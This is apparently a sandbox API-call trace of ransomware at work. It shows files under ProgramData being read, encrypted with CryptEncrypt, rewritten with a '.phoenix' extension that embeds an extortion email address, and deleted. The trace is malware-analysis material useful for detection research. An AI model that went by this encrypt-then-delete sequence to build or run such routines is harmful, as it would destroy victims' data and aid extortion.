	[0228.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.451] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.451] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.451] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.451] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.451] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0228.451] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.452] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0228.452] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0228.452] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0228.453] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0228.453] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.453] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0228.453] CryptDestroyKey (hKey=0x151740) returned 1
	[0228.453] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0228.539] CryptDestroyKey (hKey=0x151700) returned 1
	[0228.539] CloseHandle (hObject=0x2d8) returned 1
	[0228.539] CloseHandle (hObject=0x2c4) returned 1
	[0228.541] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml")) returned 1
	[0228.542] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.542] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.542] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=546) returned 1
	[0228.542] CloseHandle (hObject=0x2c4) returned 1
	[0228.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml")) returned 0x20
	[0228.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.543] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.543] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.543] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.543] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.543] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0228.543] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.543] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x222, lpOverlapped=0x0) returned 1
	[0228.544] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x230, dwBufLen=0x230 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x230) returned 1
	[0228.544] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x230, lpOverlapped=0x0) returned 1
	[0228.545] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0228.545] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.546] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0228.546] CryptDestroyKey (hKey=0x151440) returned 1
	[0228.546] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0228.546] CryptDestroyKey (hKey=0x151200) returned 1
	[0228.546] CloseHandle (hObject=0x2c4) returned 1
	[0228.546] CloseHandle (hObject=0x2d8) returned 1
	[0228.547] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\runtime.xml")) returned 1
	[0228.548] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.548] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.548] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=637531) returned 1
	[0228.548] CloseHandle (hObject=0x2d8) returned 1
	[0228.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml")) returned 0x20
	[0228.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.548] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.549] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.549] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.549] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0228.549] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1514c0) returned 1
	[0228.549] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.549] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x9ba5b, lpOverlapped=0x0) returned 1
	[0228.588] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x9ba60, dwBufLen=0x9ba60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x9ba60) returned 1
	[0228.589] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x9ba60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x9ba60, lpOverlapped=0x0) returned 1
	[0228.600] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0228.600] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.600] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0228.600] CryptDestroyKey (hKey=0x151440) returned 1
	[0228.600] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0228.601] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0228.602] CloseHandle (hObject=0x2d8) returned 1
	[0228.602] CloseHandle (hObject=0x2c4) returned 1
	[0228.618] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml")) returned 1
	[0228.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0228.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.932] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2216) returned 1
	[0228.932] CloseHandle (hObject=0x2d4) returned 1
	[0228.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml")) returned 0x20
	[0228.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.933] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.933] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0228.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0228.938] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0228.938] ReadFile (in: hFile=0x2d4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x8a8, lpOverlapped=0x0) returned 1
	[0228.999] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x8b0) returned 1
	[0228.999] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x8b0, lpOverlapped=0x0) returned 1
	[0229.000] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0229.000] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.001] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0229.001] CryptDestroyKey (hKey=0x151040) returned 1
	[0229.001] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0229.001] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0229.001] CloseHandle (hObject=0x2d4) returned 1
	[0229.001] CloseHandle (hObject=0x2e4) returned 1
	[0229.002] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml")) returned 1
	[0229.003] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.003] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2376) returned 1
	[0229.003] CloseHandle (hObject=0x2e4) returned 1
	[0229.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml")) returned 0x20
	[0229.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.004] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.004] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.004] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0229.004] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0229.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0229.004] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.004] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x948, lpOverlapped=0x0) returned 1
	[0229.154] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x950, dwBufLen=0x950 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x950) returned 1
	[0229.154] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x950, lpOverlapped=0x0) returned 1
	[0229.155] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0229.155] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0229.155] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0229.155] CryptDestroyKey (hKey=0x151080) returned 1
	[0229.155] WriteFile (in: hFile=0x2d4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0229.155] CryptDestroyKey (hKey=0x151240) returned 1
	[0229.155] CloseHandle (hObject=0x2e4) returned 1
	[0229.155] CloseHandle (hObject=0x2d4) returned 1
	[0229.156] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml")) returned 1
	[0229.157] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.157] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.161] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0229.161] CloseHandle (hObject=0x2e4) returned 1
	[0229.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20
	[0229.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
